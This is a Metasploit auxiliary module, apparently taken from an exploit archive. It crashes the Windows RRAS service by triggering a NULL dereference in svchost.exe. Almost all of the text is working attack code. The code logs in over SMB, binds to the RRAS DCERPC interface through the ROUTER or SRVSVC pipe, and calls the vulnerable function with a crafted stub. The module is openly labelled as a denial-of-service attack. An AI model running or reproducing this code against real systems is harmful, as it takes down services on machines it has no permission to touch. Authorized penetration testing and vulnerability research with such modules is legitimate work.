Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference',  
'Description' => %q{  
This module triggers a NULL dereference in svchost.exe on  
all current versions of Windows that run the RRAS service. This  
service is only accessible without authentication on Windows XP  
SP1 (using the SRVSVC pipe).  
},  
  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '64340'],  
  
],  
'Actions' =>  
[  
['Attack', 'Description' => 'Run Denial of Service'],  
],  
'DefaultAction' => 'Attack',  
'DisclosureDate' => '2006-06-14'  
))  
  
register_options(  
[  
OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),  
])  
  
end  
  
def run  
connect  
smb_login  
  
case action.name  
when 'Attack'  
  
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])  
  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
stb = [0, 0, 0, 0].pack('V*')  
  
print_status("Calling the vulnerable function...")  
begin  
dcerpc.call(0x0C, stb)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
rescue => e  
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/  
raise e  
end  
end  
  
end  
  
disconnect  
end  
end  
`